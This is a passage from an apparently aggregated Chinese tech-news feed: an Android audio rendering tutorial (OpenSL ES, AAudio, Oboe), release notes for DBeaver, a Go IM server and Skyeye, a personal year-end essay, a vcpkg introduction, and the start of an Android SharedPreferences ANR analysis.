 result = (*simple_buffer_queue_)->RegisterCallback(simple_buffer_queue_, SimpleBufferQueueCallback, this);
 if (result != SL_RESULT_SUCCESS) {
   AV_LOGE("SimpleBufferQueue RegisterCallback failed, reason:%s", GetSLErrorString(result));
   return SV_PLAY_INIT_ERROR;
 }
  1. 开启渲染,激活 BufferQueue
// step1: 向 BufferQueue 填充数据,以激活。另外在开启之前填充的好处,就是刚开始渲染音频的时候
// 不会有杂音。
if (!FillBufferQueue(false)) {  
  return SV_FILL_BUFFER_ERROR;
}

// step2: 设置 sl_player_ 状态为 PLAYING 状态,之前设置的回调函数 SimpleBufferQueueCallback 
// 开始工作
auto result = (*sl_player_)->SetPlayState(sl_player_, SL_PLAYSTATE_PLAYING);
if (result != SL_RESULT_SUCCESS) {
  AV_LOGW("Set playing state failed.");  // Maybe permission problem.
  return SV_START_PLAY_ERROR;
}
  1. 向 BufferQueue 填充音频数据
//之前向 simple_buffer_queue_ 注册的回调函数
void SVOpenslRender::SimpleBufferQueueCallback(SLAndroidSimpleBufferQueueItf caller, void* context) {

// step1: 从文件中读取音频pcm数据,举个例子而已
const size_t per_size = sizeof(SLint16);
  const size_t buf_size = sample_rate_ / 100 * channels_;
  auto len = fread(audio_buffers_.get(), per_size, buf_size, file_);
  
  // step2: 向 BufferQueue 喂数据
  auto * binary_data = reinterpret_cast<SLint8 *>(audio_buffers_.get());
  size_t size =  sample_rate_ / 100 * channels_ * 2;
  auto result = (*simple_buffer_queue_)->Enqueue(simple_buffer_queue_, binary_data, size);
  if (result != SL_RESULT_SUCCESS) {
    AV_LOGE("Enqueue failed: %s", GetSLErrorString(result));
    return false;
  }
}

如何在项目中引入 OpenSL

// 头文件
#include <SLES/OpenSLES.h>
#include <SLES/OpenSLES_Android.h> //Android相关拓展

// 库文件
target_link_libraries(${CMAKE_PROJECT_NAME}
        # List libraries link to the target library
        android
        log
        OpenSLES)

AAudio

如何在项目中引入 AAudio ?

// step1: 引入头文件
#include <aaudio/AAudio.h>

// step2: 引入库文件
target_link_libraries(${CMAKE_PROJECT_NAME}
        # List libraries link to the target library
        android
        log
        aaudio)

渲染的关键流程

  1. AAudio 参数配置,和采集不同的是需要设置 Direction 为 AAUDIO_DIRECTION_OUTPUT。
AAudioStreamBuilder_setDeviceId(builder_, AAUDIO_UNSPECIFIED);
AAudioStreamBuilder_setSampleRate(builder_, sample_rate);
AAudioStreamBuilder_setChannelCount(builder_, channels);
AAudioStreamBuilder_setFormat(builder_, AAUDIO_FORMAT_PCM_I16);
AAudioStreamBuilder_setSharingMode(builder_, AAUDIO_SHARING_MODE_SHARED);
AAudioStreamBuilder_setDirection(builder_, AAUDIO_DIRECTION_OUTPUT);
AAudioStreamBuilder_setPerformanceMode(builder_, AAUDIO_PERFORMANCE_MODE_LOW_LATENCY);
AAudioStreamBuilder_setDataCallback(builder_, DataCallback, this);
AAudioStreamBuilder_setErrorCallback(builder_, ErrorCallback, this);
  1. open stream
auto result = AAudioStreamBuilder_openStream(builder_, &stream_);
if (result != AAUDIO_OK) {
  AV_LOGE("AAudio open stream failed, reason:%s", AAudio_convertResultToText(result));
  return SV_PLAY_INIT_ERROR;
}
  1. 开启渲染 & 填充数据
// step1: request start.
auto result = AAudioStream_requestStart(stream_);
if (result != AAUDIO_OK) {
  AV_LOGE("AAudio request start error, reason:%s", AAudio_convertResultToText(result));
  return SV_START_PLAY_ERROR;
}

// step2: fill audio audio.
aaudio_data_callback_result_t
SVAAudioRender::DataCallback(AAudioStream* stream, void* user_data, void* audio_data, int32_t num_frames) {
// read pcm data from file.
  if (!render->ReadPlayoutData(num_frames)) {
  AV_LOGW("Read playout data failed.");
  return AAUDIO_CALLBACK_RESULT_STOP;
}
// copy audio data.
memcpy(audio_data, render->audio_buffers_.get(), num_bytes);
}

播放控制 (optional)

如果您的项目对音频播放延迟非常重视的话,需要了解下以下知识点。下图由 Android 官方提供,介绍了 AAudio 是如何从缓冲区消费数据的。

image 1.png

AAudio 会以离散的脉冲串从缓冲区读取数据,具体脉冲串的大小及速率是由系统控制的,而属性是由音频设备的电路决定的。虽然我们没法直接控制脉冲串的大小和速率,但是可以不断优化调整设置的缓存区大小(图中 Size 的范围)。官方给出的优化建议是:

优化缓冲区空间大小的一种方法是从较大的缓冲区开始,逐渐将其减小直至开始出现缓冲区不足现象,再稍稍将其调大。此外,您也可以从较小的缓冲区空间大小开始,如果出现缓冲区不足现象,则增大缓冲区空间大小,直至输出再次流畅为止。

示例代码:

int32_t previousUnderrunCount = 0;
int32_t framesPerBurst = AAudioStream_getFramesPerBurst(stream);
int32_t bufferSize = AAudioStream_getBufferSizeInFrames(stream);

int32_t bufferCapacity = AAudioStream_getBufferCapacityInFrames(stream);

while (go) {
    result = writeSomeData();
    if (result < 0) break;

    // Are we getting underruns? -- 数据的生产跟不上消费,需要增加缓冲区
    if (bufferSize < bufferCapacity) {
        int32_t underrunCount = AAudioStream_getXRunCount(stream);
        if (underrunCount > previousUnderrunCount) {
            previousUnderrunCount = underrunCount;
            // Try increasing the buffer size by one burst
            // 官方的建议是增加脉冲串的倍数,这样播放起来会顺滑
            bufferSize += framesPerBurst;
            bufferSize = AAudioStream_setBufferSize(stream, bufferSize);
        }
    }
}

Oboe

Oboe 是 Google 的一个开源项目,存在的意义和使用场景之前的文章也曾提及过,这里就不赘述了。由于它在使用上和 AAudio 如出一辙,读者可以根据笔者提供的源码来进一步学习。下面介绍下如何在项目中引入 Oboe 库。

  • build.gradle 配置(模块级别)
android {
//...
  buildFeatures {
        prefab true
    }
}

dependencies {
    implementation 'com.google.oboe:oboe:1.9.0'
}
  • cmake 配置
find_package (oboe REQUIRED CONFIG)

target_link_libraries(${CMAKE_PROJECT_NAME}
        # List libraries link to the target library
        android
        log
        oboe::oboe)
  • 头文件引入
#include <oboe/Oboe.h>

最后

以上就是本文的所有内容了,主要介绍了 Android 平台下音频渲染的几种方式。本文为音视频基础能力 - Android 音频篇的第 5 篇,后续精彩内容,敬请期待。

github samle code: github.com/Sound-Visio…

如果您觉得以上内容对您有所帮助的话,欢迎关注我们运营的公众号 声知视界,会定期推送音视频技术、移动端技术为主轴的科普类、基础知识类、行业资讯类等文章。

by 声知视界 at January 19, 2025 03:16 AM

oschina news project

DBeaver 24.3.3 发布

DBeaver 是一个免费开源的通用数据库工具,适用于开发人员和数据库管理员。DBeaver 24.3.3 现已发布,更新内容如下:

  • SQL Editor:
    • 增加了对 SELECT INTO query smart completion 的支持
    • 更改了 result set zoom 的快捷键:Ctrl+Aalt+0 和 Ctrl+Alt+9
    • 修复了 proposals list 中 completion suggestions 的顺序
    • 新的 completion engine:
      • 修复了 column completion 期间别名部分重复的错误
      • 修复了存在多个连接时连接条件的 autocomplete 问题
      • Proposals list 现在仅包含来自下一层次结构级别的对象
      • 修复了 SQL Server 带有表提示的 SELECT 语句的 autocompletion 问题
    • 修复了在多选项卡模式和单选项卡模式之间切换时旧结果集选项卡未关闭的问题
    • 修复了当用户尝试执行带有 row coloring 的 open result set 的脚本时发生的堆栈溢出错误
    • 发生错误时,最后执行的查询现在显示在错误消息旁边
    • 修复 typing 时出现的异常
  • AI 助手:修复了 Azure Open AI 生成的查询中的语法问题
  • Data Editor:
    • Hints presentation 得到增强
    • 生成脚本时添加反斜杠转义
    • 添加了禁用字典视图的选项(将“Maximum amount of elements”设置为 0)
    • 修复了粘贴大量行或执行查找/替换时出现的 freezing 问题
    • 添加了以压缩格式保存 XML 和 JSON 文件的选项
    • 修复了 commoт 表表达式的数据编辑器过滤器
  • Miscellaneous:添加了从对象选项卡的上下文菜单创建书签的功能
  • Databases:
    • 添加了 Cloudberry driver
    • CUBRID:修复了 DDL 中的视图名称生成问题
    • MySQL:
      • 如果已授予任何其他权限,则 USAGE 权限现在将被隐藏
      • 修复了 DBA 权限的加载
    • PostgreSQL:修复了日期值的无穷大显示

详情可查看更新说明:https://dbeaver.io/2025/01/19/dbeaver-24-3-3/

by 来源: OSCHINA at January 19, 2025 02:34 AM

juejin career

2024年终总结-行到水穷处,坐看云起时

依然是——关于我

我,坐标山东青岛,一位无名的Java Coder,你可以叫我Debug.c亦或者种棵代码技术树。在此不过多赘述关于我,更多的关于我请移步我的2023年年终总结。

2023年终总结-轻舟已过万重山

2024年OKR完成情况

2023年年末共在三个方面给2024年定了基调:技术、知识分享、生活。

技术方面

先看当前许下的愿:

Spring Framework源码学习的进度从24年春夏交接开始至今一直处于停摆状态,GoLang的学习用于和伟的一首歌来表达便是《只字不提》。是的,2024年的技术长进是我从业以来最慢的一年,一方面是24年春天开始接触HIS(Hospital Information System, HIS)医疗业务,对医疗业务的学习占用了自己的时间,另一方面便是对技术学习的热情,24年以来发现技术之外更重要是一些软技能、以及自身性格、认知水平、思维方式上的欠缺,所以今年花了大量时间在阅读提升上,人的精力总是有限的,我们每天只能做好自己认为最重要的一件事或几件事,技术学习上的停滞换来其他方面的补充,这个结果可以接受。

知识分享

23年年底许的愿:

十一月份我做了一个统计,2024年在掘金平台共更新文章20篇,在2024年进行到四分之三的时候,我完成了目标值的四分之一。原因同上,2024年技术方面学习时间减少,知识分享产出会对应的减少,我也没有为了完成所谓的KPI而水文。今年看了好多本书,脑子里不断涌现出一句话:“做事情要以个人意志为导向,做自己想做的事就是在实现自己人生意义的路上”。我确信这句话并非摘抄于书本,但来源于书本与生活,同时分享一下《世界尽头的咖啡馆》这本书在豆瓣APP中的一个热评:

以下是关于我知识分享不达标的狡辩:

生活方面

许下了一些好量化以及不太好量化的愿望:

首先是学习理财,2024年脑子里确实有攒钱理财的想法以及身体力行的去实践。第二个关于读书,2024年绝对是超额完成既定目标,后文我会详细说明,以及有书单推荐。最后一个便是让内心变得更强大,以我现在的认知来看,2023年年底定下的这个目标太过于宽泛,且不好量化,当然我也在2024年把这个待办提上了日程,主要是通过知识付费实现的,我在B站购买了心理学相关课程,截止2025年1月7日,我学习了全课程的三分之二左右,基本上以每周一节课的进度学习,目前来看我对于知识付费这件事是肯定的,确实通过课程学到了知识,目前计划学习完成当前课程后续还会酌情购买其他课程来丰富自己。

知识付费是投资自己的一种方式,付费首先是一个门槛,同样也是自己对学习某块知识意愿的检测,如果你不愿意对其内容付出代价,那么首先要想一下自己是否真的想学习知识,对这块内容是否真正感兴趣?知识付费同样也是对自己学习过程中的一种鞭策。

学习也许不会立竿见影,但日拱一卒,在未来的某一天会感谢曾经的自己,做自己想做的事,就是在寻找自己存在的意义。

“投资自己是最好的投资,因为你的投资回报率是无限的.”——李嘉诚

“普通人把自己的财富都花光了,聪明人花不完财富的全部,不是存钱吝啬,而是投资自己.”——巴菲特。


印象深刻的几件事

在毫无波澜的日子里,也总有几件事让自己印象深刻吧。

搬家-折腾的意义

2024年五月份换了新工作,工作地点也产生了变化,恰逢8月初转正,中下旬租房到期,出于通勤时间、出行成本考虑遂决定搬家到离公司较近的地方。由于之前在“东李”片区居住了将近五年的时间,一方面,五年来我已经习惯了这边环境优美,且并不嘈杂、人流量相对较少的安逸生活,另一方面,这个位置离崂山区、和生活便利的商圈都比较近,之前的我一直想在这个片区购入属于自己的房子,以至于我对这个片区总是有独特的情感。相比于搬家后的片区,虽然交通相对便利且商圈遍布热闹非凡,但个人感觉自己还是更喜欢前者宁静的氛围,之前周末可以在小区附近河边散步,在草坪上安逸的坐一会,玩累了在小区的长凳上便能看到夕阳西下中的山峦,安逸,大概如此。搬家后的小区虽然周边遍布小吃街和商圈,但是我并不喜欢这种“人满为患”的地方。

其实搬家还有点小插曲。

原来的房东为了下一任租客早点搬进来将我们提前半个多月腾房,这就导致我今年第一次搬家时找房子的时间特别紧张,以至于入住后才发现路边的吵闹以至于影响正常的休息,在这个房子里将就了一个半月后,找到了另一套中规中矩的房子一直住到现在。有人可能会问:两个月搬家两次,你不累吗?何苦呢?我想:人在自己舒服的环境里状态才会好,状态好,一切都会好。

其实通过搬家这件小事让我联想到一个词:事缓则圆。事情越紧张,越要慢慢的去做,这样才可能把风险降到最低。同时让我明白一个道理:我们现在经历的困难,实则是在为当初的选择埋单,认真且尊重自己的每一个选择。

悟已往之不谏,知来者之可追。—— 归去来兮辞·陶渊明

半程马拉松-跳出思维的墙

是的,26岁的我参加了人生第一场半程马拉松赛事。忆往昔峥嵘岁月稠。回想大学体测一千米的时候,都要提前做心理安慰好几天,到了体测当天跑完最担心的一千米像丢了半条命,当然成绩也是垫底的,所以我一度以为一千米就是我的极限。跑步是从今年春天开始的,起因是我春天极度讨厌自己的工作氛围,并且感到压力巨大,整个人的状态都是低迷的,跑步完全是为了释放自己的压力,从一开始的500米一休息,慢慢的累加,后来我竟然发现我可以一口气跑完三公里,而且跑完整个人的状态非常好,再后来有了第一个五公里、第一个十公里,刚开始跑的小白一味追求配速,梦想着早日把五公里跑进三十分钟内,由于不懂技巧,第一次拼尽全力冲刺三十分钟内跑完五公里时,最后一公里的我已经明显感觉到自己的小腿剧痛,但是我依然尽全力去跑的更快,遗憾的是挑战以31分30秒结束,伴随而来的是一周的休息,因为腿太疼了。后来我便明白,新手完全没必要在意配速,堆有氧跑量就可以,在波澜不惊的日子里,一边跑步一边慢慢寻找脱离苦海的机会,国庆节假期一个普通的旁晚前,突然想到假期好几天没有跑步了,于是便在家附近来了个五公里,没想到以比较轻松的体感下完成了之前不可逾越的目标,最终以28分28秒完成了五公里成功PB(Person Best)。

我曾困顿于如何突破自身极限超越自己,也曾困顿于如何在不适的环境中寻找机会脱身,身体或灵魂处于不适状态时一定是痛苦的,仿佛置身于深渊,此时我们一定要做且唯一能做的就是在深渊中寻找的光亮,不断探索新路线,沿着光亮前行,一直到寻找到太阳。困顿之处,往往也蕴藏着机遇,当你穷奇所有,仍然无法完成自己的既定目标,那么不妨跳出思维的墙,寻找其他的一线生机。

河水被巨石挡住去路,我们不妨绕行或者缝隙中流出,方法千万种,重要的是跳出自我认知的墙。

行到水穷处,坐看云起时。 —— 终南别业 唐·王维

人生没有什么定数,不折腾,时间同样会过去,所以,去做总比不做好,开始总比放弃强。只要你心里还有希望,什么时候都是开始的最好时机。——《认知觉醒》·周岭

IMG_9416 2.JPG

浮山13km环行

端午节假期闲来没事和朋友环行浮山,大约从旁晚七时许开始步行直到夜晚十点半到达终点,浮山横跨崂山区、市北区,绿道共大约13公里。到晚上九时许,市北区路段已经关灯,整个浮山绿道上就我和朋友两人,眼前黑漆漆一片,整片山区显得格外静谧,和日常快节奏的工作日完全不同,早上匆忙洗漱踩点打卡,工作时间赶时间完成工作任务,下了班又草草填饱肚子,在仅有的空闲时间完成自己想做的事情,工作日就像压路机驶过地面,身心被一股外来压力和惯性推着走,闲暇时间让自己慢下来享受一份静谧其实蛮好的,在静谧的时间人的大脑更容易跳出原有的自我,去站在另一个角度看待自己,反刍自己来时的路。在近年来出现了一个名词“元认知”来定义这种行为。引用周岭在《认知觉醒》中对于元认知的描述:元认知能力总能让你站在高处俯瞰全局,不会让你一头扎进生活的细节,迷失其中。如果你足够细心,还会发现未来视角总是当前行动的指南针,它可以在忙忙的生命中为你导航,让你主动选择去做那些更重要而不是更有趣的事情。今年夏天读到这里时,这句话令我醍醐灌顶,在我心里印住了一句话:你应该优先做你更重要的事情,而不是更有趣的事情。这句话至今影响着我、改变了我,我想这就是读书的意义,没必要记住书中的每一个细节,只要有一两句话对你的生活产生影响,这就足矣。

文武之道,一张一弛。 ——《礼记·杂记下》

2024购物清单

Mac mini-冤种版

2023年计划2024年用上M系列芯片的MacBookPro,在职的公司有一个Windows端的应用需要维护,并且公司给提供了办公用的电脑,所以我便对笔记本没有了要求,所以把目光转移到了Mac mini这条产品线上,满足在家追剧、学习用的需求即可,之前有使用英特尔芯片Mac OS的经历,刚拿到手的使用感受就是:无论你负载如何,你完全感受不到它的存在!性能上目前是可以满足我日常的需求,并且苹果的ID设计是非常长在我审美上的,对它十分喜欢,不由得心里想:苹果NB,性能强、功耗低,Java开发的日常使用场景里,不打游戏,不知比英特尔、AMD这种X86架构的电脑强多了。2024年苹果秋季发布会上,厨子库克发布了他的新一代M4系列芯片,并且Mac mini产品线更换了新的ID设计,它更强了、更小了,并且更便宜了,这对于我这种价格敏感用户来说,瞬间觉得我上半年入的Mac mini不香了,十分喜欢变成了九分,因为有一分被大冤种带走了。

失望的小米15

曾经我是个米粉,后来因为MIUI 14系统BUG比较多,并且当时正赶上高通芯片使用三星代工,发热控制不好,导致机型发热量大,所以我一个米粉被迫转战IOS阵营,苦于iPhone信号普遍不好、电池小以及新鲜感的缺失,再加上小米15的尺寸完全满足被iPhone的Pro系列养成的刁钻手感要求,在多巴胺的控制下喜提小米15,到手后感觉系统字体不如IOS的优雅,并且软件优化层面确确实实不如IOS,所以它就成了失望的小米15,写这篇文章时,我正考虑把手机送我妈,我的老手机换块电池还能继续用。

三百块的盖泡面神器-掌阅T6

300块能买到什么?能去海底捞吃一顿饭,括弧两人餐。

要说今年我买到的最值得的产品便是被大多数人用来盖泡面的电纸书,相比于平板,大家可能更喜欢用电纸书盖泡面,因为相同的表面积下,显然拥有墨水瓶的电纸书具有更小质量,这在开盖吃泡面时的用户体验是极好的。电纸书我入手的是掌阅T6,之前看纸质的书本苦于做笔记摘抄比较麻烦,遂有了买个平板或电纸书的打算,后来想到平板中各种APP可能会让我在阅读时分心,所以我就在闲鱼花300块淘了个二手掌阅T6,因为价格便宜所以我本身对它并没有报太大希望,没想到它竟然出奇的好用,而且我心想:我每每用它看完一本书,我便回本对应书本售价的钱,只要多读,300块是可以增值的,仔细想来,它是我今年买过的最有价值的理财产品。

无论买什么,只要当时的自己喜欢就好。


书/影/音

关于读书

以下是今年的读过的书单,数字从小到大代表个人推荐,其中数字为1的,是使我的思维方式、认知做出影响且改变我的生活的书籍。

读书是先把书读厚,再把书读薄,挑选几本对我有影响的书,用一句话总结:

《认知觉醒》:你应该优先做你更重要的事情,而不是更有趣的事情。

《被讨厌的勇气》:人性最大的一个弱点就是,在意别人如何看待自己。

《世界尽头的咖啡馆》:寻找人生存在的意义,并试着去做。

《人类简史》:你拥有什么,就会被什么所束缚。

《明朝那些事》:人生海海,不过尔尔。

《活着》、《额尔古纳河右岸》:敬畏生命,你永远不知道明天和意外那个先来临,但是活下去就有希望。

《白鹿原》:人性复杂且不可捉摸。

电影&电视剧

今年看过的电影比较少,对我的触动也少,大概列举一下:《误杀3》、《抓娃娃》、《白蛇·缘起》、《逆行人生》、《老师·好》、《第二十条》、《飞驰人生2》等等。印象最深刻的是《逆行人生》,原因大概是男主是一名大龄被裁程序员被生活所迫去送外卖的故事。高楼林立创新区,鳞次栉比的写字楼,像是为受到过高等教育的莘莘学子披上的一层长衫,相比于传统的农业生产者,长衫似乎给了他们所从事的事业一种高高在上的错觉,在我看来,从事任何行业都是生活所迫,电影中的男主是一家大型互联网公司的TeamLeader,被裁员后的他脱下孔乙己的长衫,骑上了电瓶车,拿上了用户点的外卖,奔走于大街小巷,为了用户的好评而低三下四,程序员这个职业不是比外卖员更高尚,只是工业结构的变革和社会的发展,我们从在忙碌的田间地头转移到了人群密集的写字楼里。要说区别,只是面对的对象、工作的地点不同罢了。

今年重温了《士兵突击》这部剧,看这部剧时正值我焦虑、困苦的一段时间,剧中丰满的角色留给我很深的印象,也许自己在人群中并不是最突出的那一个,但是勇敢做自己,在自己的世界里开花结果就好,这就是有意义的事。2024年这部剧已经雷军近几年的年度演讲陪我熬过需要自己走的一段路。

民谣迷

我喜欢听歌,大部分是民谣。

我比较喜欢赵雷、毛不易、宋冬野,我认为:抱着吉他唱着自己写的歌,是一件幸福的事儿,没有浮夸的炫技,只有自己对生活的态度、人生的感悟,也许不同版本调调很不同,但是只要是自己唱着的,自己开心就好。


2025年展望

  • 原创博客60篇
  • 开始整理自己Java知识地图

碎碎念

按模块断断续续写了好几天,写到这里的时候,在抖音刷到莫言在《不被大风吹倒》中写给处于低谷期的年轻人的一段话:

低谷期就是让你赚不到钱、让你感情不顺、让你生活不顺,让你贫穷且焦虑的活着,你的自信心被践踏,你的努力被全盘否定,你所有的付出都被辜负,甚至连你的至亲都会瞧不起你,但是只要熬过了那段低谷期,整个人的认知、格局,甚至是性格都会发生巨变,真的犹如一夜春风来,千树万树梨花开,这就是命运的奇妙之处。

除了生病以外,你感受到的痛苦都是你的价值观带来的,而并非真实存在的。无人问津也好,技不如人也罢,你都试着安静下来,做好眼下该做的事,不要让烦躁和焦虑,毁掉你本就不多的热情和定力。

卷也好,躺也好,不被大风吹倒就好。

正所谓:行到水穷处,坐看云起时。人是需要当下执念的,当你穷尽所能也无法到达想去的地方,当你穷尽所有也得不到想要的东西,不妨坐下来看看,看看自己已经拥有的东西,因为,你现在不屑一顾拥有的,也许是别人梦寐以求的。也许换个思路,从另一个方向看自己,会有不一样的感悟。人生海海,不过尔尔。

by FirstMrRight at January 19, 2025 02:17 AM

oschina news project

Go 分布式 IM - v2.1.1 发布

更新内容

  • perf: 大幅提升消息收发延迟和存储性能
  • fix: 修复新的订阅者有时候收不到消息的问题
  • fix: 修复在线用户统计不准确问题
  • fix: 移除订阅者的时候有崩溃的概率
  • feat: 优化管理后台,连接新增“断开”,“踢掉”功能
  • fix: 修复离线cmd有时候收不到问题
  • fix: 修复代理连接关闭了,领导连接还没关闭的问题
  • perf: 优化channelClusterConfig存储的性能
  • feat: 后台连接页面显示当前节点的所有连接包括逻辑连接
  • feat: web后台适配黑暗模式
  • feat: 日志增加控制台的输出配置
  • perf: 优化后台启动时创建server的时机
  • fix: 修复webhook消息队列里的消息负载过大导致webhook收不到推送问题
  • fix:解决发送到指定人,指定人列表uid不在toUids中
  • refactor: 移除webhook多余的创建操作

简介:

9年积累,沉淀出来的高性能通用通讯服务,支持即时通讯,站内/系统消息,消息中台,物联网通讯,音视频信令,直播弹幕,客服系统,AI通讯,即时社区等场景。

分布式IM重要特性: 故障自动转移,去中心化设计,节点之间数据互备,支持集群快速自动扩容,代理节点机制

涉及到的知识点: 自定义协议, 分布式Raft(魔改pull模式),多组Raft(魔改pull模式),关系数据库底层原理,分布式数据库设计, Reactors设计,独创分布式多层领导机制 等等

架构图


by 来源: 投稿 at January 19, 2025 02:14 AM

Skyeye 云 VUE 版本 v3.15.5 发布

Skyeye 云智能制造,采用 Springboot + winUI 的低代码平台、移动端采用 UNI-APP。包含 30 多个应用模块、50 多种电子流程,CRM、PM、ERP、MES、ADM、EHR、笔记、知识库、项目、门店、商城、财务、多班次考勤、薪资、招聘、云售后、论坛、公告、问卷、报表设计、工作流、日程、云盘等全面管理,实现智能制造行业一体化管理。实现管理流程 “客户关系 -> 线上 / 线下报价 -> 销售报价 -> 销售合同 -> 生产计划 -> 商品设计 -> 采购 -> 加工制造 -> 入库 -> 发货 -> 售后服务” 的高效运作,同时实现企业员工的管理以及内部运作的流程操作,完善了员工从 “入职 -> 培训 -> 转正 -> 办公 -> 离职” 等多项功能。

常见问题     开发文档

Skyeye 云【源代码】针对 {星球用户} 开源。拿到源码后可进行学习、毕设、企业等使用。

Skyeye 云智能制造 v3.15.5 发布 ,发布内容如下:

  • Skyeye 云已加入 Dromara 社区
  • VUE 版 Skyeye 云
    • 全部使用低代码【列表布局】的页面重构完成
    • 已重构 33 个组件,VUE 版重构进度可参考:https://kdocs.cn/l/cbf2cgCLrUyz
    • 解决Layui版本存在的问题
    • 新增多租户底层逻辑代码处理【客户定制版】
    • 已完成如下功能的重构
  • VUE 版 Skyeye 云开始开发,已完成 100+ 个组件的开发
  • 源代码对星球用户开放
  • 解决若干问题。

Skyeye 具备低代码、快捷开发、可视化设计、微服务等特点,方便客户二次开发,极大的提高了开发效率。

erp: https://gitee.com/doc_wei01/skyeye

OA: https://gitee.com/dromara/skyeye

报表:https://gitee.com/doc_wei01/skyeye-report  有问题可以联系作者,详情请看开发计划。

PC 端效果图

效果图 效果图

移动端效果图

效果图 效果图 效果图 效果图

by 来源: 投稿 at January 19, 2025 02:00 AM

juejin freebie

跨平台C++库管理神器:vcpkg,让开发更高效!

在C++开发中,依赖管理一直是一个令人头疼的问题。不同的操作系统、不同的构建系统,甚至不同的编译器版本,都会让依赖管理变得复杂且容易出错。为了解决这一问题,微软和C++社区共同开发了一款强大的工具——vcpkg。它不仅是一个跨平台的C/C++包管理器,还提供了丰富的开源库和企业级功能,帮助开发者轻松管理项目依赖。

今天,我们就来深入了解一下vcpkg的功能、应用场景以及具体使用方法,看看它如何让你的C++开发工作更加高效。


什么是vcpkg?

vcpkg是一个免费且开源的C/C++包管理器,由微软和C++社区共同维护。它最初于2016年推出,旨在帮助开发者将项目迁移到新版本的Visual Studio。随着时间的推移,vcpkg已经发展成为一个跨平台的工具,支持Windows、macOS和Linux三大操作系统。

vcpkg的核心目标是解决C/C++开发者在依赖管理中的痛点。它提供了一个庞大的开源库集合,并且支持任何构建系统和项目系统。无论是CMake、MSBuild,还是其他构建工具,vcpkg都能轻松应对。


vcpkg的核心功能

1. 跨平台支持

vcpkg支持Windows、macOS和Linux三大主流操作系统,这意味着无论你使用哪种开发环境,都可以通过vcpkg来管理项目依赖。

2. 丰富的开源库

vcpkg拥有一个庞大的开源库集合,涵盖了从基础工具到高级框架的各类库。无论你需要的是网络库、图形库,还是机器学习库,vcpkg都能满足你的需求。

3. 灵活的构建系统集成

vcpkg支持多种构建系统,包括CMake、MSBuild等。你可以轻松地将vcpkg集成到现有的项目中,无需修改现有的构建脚本。

4. 版本控制

vcpkg允许你精确控制项目依赖的版本,确保项目的稳定性和可重复性。

5. 二进制缓存

vcpkg支持二进制缓存功能,可以重复使用已经构建好的二进制文件,从而加快构建速度。

6. 离线支持

vcpkg还支持离线场景,通过资产缓存功能,你可以在没有网络连接的环境中继续使用vcpkg。


如何开始使用vcpkg?

1. 安装vcpkg

首先,你需要从GitHub上克隆vcpkg的仓库:

git clone https://github.com/microsoft/vcpkg.git
cd vcpkg
./bootstrap-vcpkg.sh

对于Windows用户,可以使用以下命令:

.\bootstrap-vcpkg.bat

2. 集成到构建系统

vcpkg支持多种构建系统,以下是几种常见的集成方式:

CMake集成

在CMake项目中,你可以通过以下命令将vcpkg集成到项目中:

cmake -B [build directory] -S . -DCMAKE_TOOLCHAIN_FILE=[path to vcpkg]/scripts/buildsystems/vcpkg.cmake

MSBuild集成

对于使用MSBuild的项目,你可以通过以下命令集成vcpkg:

vcpkg integrate install

其他构建系统

vcpkg还支持手动集成到其他构建系统中,具体方法可以参考官方文档

3. 安装依赖库

你可以通过命令行安装所需的库。例如,安装fmt库:

vcpkg install fmt

4. 使用依赖库

安装完成后,你可以在项目中使用这些库。例如,在CMake项目中,你可以通过以下方式引用fmt库:

find_package(fmt REQUIRED)
target_link_libraries(my_project PRIVATE fmt::fmt)

vcpkg的应用场景

1. 跨平台开发

如果你正在开发一个跨平台的C++项目,vcpkg可以帮助你轻松管理不同平台上的依赖库,确保项目在各个平台上都能顺利构建。

2. 快速原型开发

在快速原型开发中,vcpkg可以帮助你快速引入所需的库,避免手动下载和配置依赖的繁琐过程。

3. 企业级项目

vcpkg提供了企业级功能,如版本控制和二进制缓存,非常适合用于大型企业项目的开发。

4. 开源项目贡献

如果你是一个开源项目的贡献者,vcpkg可以帮助你快速测试和验证你的代码在不同平台上的兼容性。


vcpkg的同类项目

除了vcpkg,C++社区还有其他一些优秀的包管理工具,以下是几个常见的同类项目:

1. Conan

Conan是一个分布式的C/C++包管理器,支持跨平台和多种构建系统。与vcpkg相比,Conan更加灵活,支持自定义包和私有仓库。

2. Hunter

Hunter是一个基于CMake的包管理器,专注于简化C++项目的依赖管理。它通过CMake脚本自动下载和构建依赖库,适合CMake项目使用。

3. Conda

Conda是一个通用的包管理器,最初是为Python开发的,但也支持C++库的管理。Conda的优势在于它支持多种编程语言,适合多语言项目的开发。

4. Bazel

Bazel是一个强大的构建工具,支持多种编程语言,包括C++。它通过声明式的方式管理依赖,适合大型项目的构建和管理。


总结

vcpkg作为一款跨平台的C/C++包管理器,凭借其丰富的开源库、灵活的构建系统集成以及强大的企业级功能,已经成为C++开发者的得力助手。无论你是开发跨平台应用,还是进行快速原型开发,vcpkg都能帮助你轻松管理项目依赖,提升开发效率。

如果你还没有尝试过vcpkg,不妨现在就动手安装并体验一下吧!相信它会为你的C++开发工作带来极大的便利。


相关资源:

希望这篇文章能帮助你更好地理解和使用vcpkg。如果你有任何问题或建议,欢迎在评论区留言讨论!

本文使用 markdown.com.cn 排版

by 小胖学前端 at January 19, 2025 01:28 AM

juejin android

Android anr排查之sp卡顿

今天分享一下之前在排查anr的时候遇到的一个卡顿问题。因为隔得时间有点久了,所以堆栈找不到了。只能记得这个卡顿的堆栈是长时间block在 QueuedWork.waitToFinish 的调用处,业务触发点则是SharedPreference 的 apply。

SharedPreference apply不是运行在子线程吗,为什么还会导致主线程卡顿?我们从apply的流程看起:

问题分析

sp在commit的时候会直接在当前线程执行commitToMemory和enqueueDiskWrite:

// SharedPreferenceImpl.java
@Override
public boolean commit() {
  long startTime = 0;
  MemoryCommitResult mcr = commitToMemory();
  SharedPreferencesImpl.this.enqueueDiskWrite(mcr, null);
  try {
    mcr.writtenToDiskLatch.await();
  } catch (InterruptedException e) {
    return false;
  } finally {
  }
  notifyListeners(mcr);
  return mcr.writeToDiskResult;
}

apply逻辑如下:

@Override
public void apply() {
  final long startTime = System.currentTimeMillis();
  final MemoryCommitResult mcr = commitToMemory();
  final Runnable awaitCommit = new Runnable() {
    @Override
    public void run() {
      mcr.writtenToDiskLatch.await();
    }
  };
  QueuedWork.addFinisher(awaitCommit);
  Runnable postWriteRunnable = new Runnable() {
    @Override
    public void run() {
      awaitCommit.run();
      QueuedWork.removeFinisher(awaitCommit);
    }
  };
  SharedPreferencesImpl.this.enqueueDiskWrite(mcr, postWriteRunnable);
  notifyListeners(mcr);
}

这里有2个Runnable:

  1. 添加给QueueWork
